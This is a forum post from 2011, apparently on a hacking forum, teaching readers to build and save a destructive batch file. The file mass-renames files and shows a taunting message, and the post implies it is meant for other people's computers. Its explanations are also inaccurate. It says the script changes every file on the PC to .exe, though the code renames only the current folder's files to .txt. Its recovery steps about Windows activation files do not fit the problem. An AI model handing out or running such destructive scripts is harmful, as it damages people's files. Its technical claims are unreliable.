[Batch]Tutorial on changing all file types to another 07-31-2011, 08:07 PM
#1
Requested by Black Sunlight (Nathan)
Remember to +rep and thank me for writing this guide, it'll be much appreciated and urge me to write more and more. Thank you! ~Jacob
You have my permission to copy and paste this thread into other forums. Just give credits due to where they belong.
---------------------------------------------------------------------
In this quick little tutorial I will be showing you how to change all of the files one your computer, to a single file type. For example: all .txt,.dll,.jpg,.mp3, etcetera; all changed to .exe extensions.
Although this will do harm to your computer, its reversible. I will teach you how to first.
- Restart your system
- When the system first boots, type F8 to bring up the boot menu
- Select the Safe Mode with Command Prompt option
- Log-on as administrator if needed
- At your command prompt type
- %systemroot%\system32\restore\rstrui.exe
- Hit Enter
- This will open the system restore wizard
- Follow the steps in the wizard
Another method of restoration if this batch is used on you
- Start your Windows installation in Minimal Safe mode.
- Move to the \%systemroot%\system32 folder.
- Rename wpa.dbl to wpa.noact.
- Rename wpa.bak to wpa.dbl.
- Reboot your system as normal.
Note: The above procedure will work only if you've made no significant hardware changes.
Alright, hopefully that you've read the restoration portion of this tutorial, i will now continue to the batch itself.
Open notepad.
Start>All Programs>Accessories>notepad
or
+R and type "notepad.exe" (no quotes)Copy paste this code into notepad
Spoiler:
Code:
@echo off
ren *.* *.txt
echo.
echo.
echo. Well, now that you computer is fucked. Go ahead and press space/enter =)
pause >nulGo to File>Save as
MUST change file type to "ALL FILE TYPES"
Save as "anything".BAT
Spoiler:
Code meaning:
Code:
@echo off -- removes directory
ren *.* *.txt -- renames ALL files on pc, to "the name".txt
echo(*) -- New lines/text
pause -- Keeps cmd open, until you press any button
>nul -- Hides the command it is after, from sight (background running)
pause >nul -- Hides the "pause" and shows only the text on the screen not "press any key to continue..."



![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
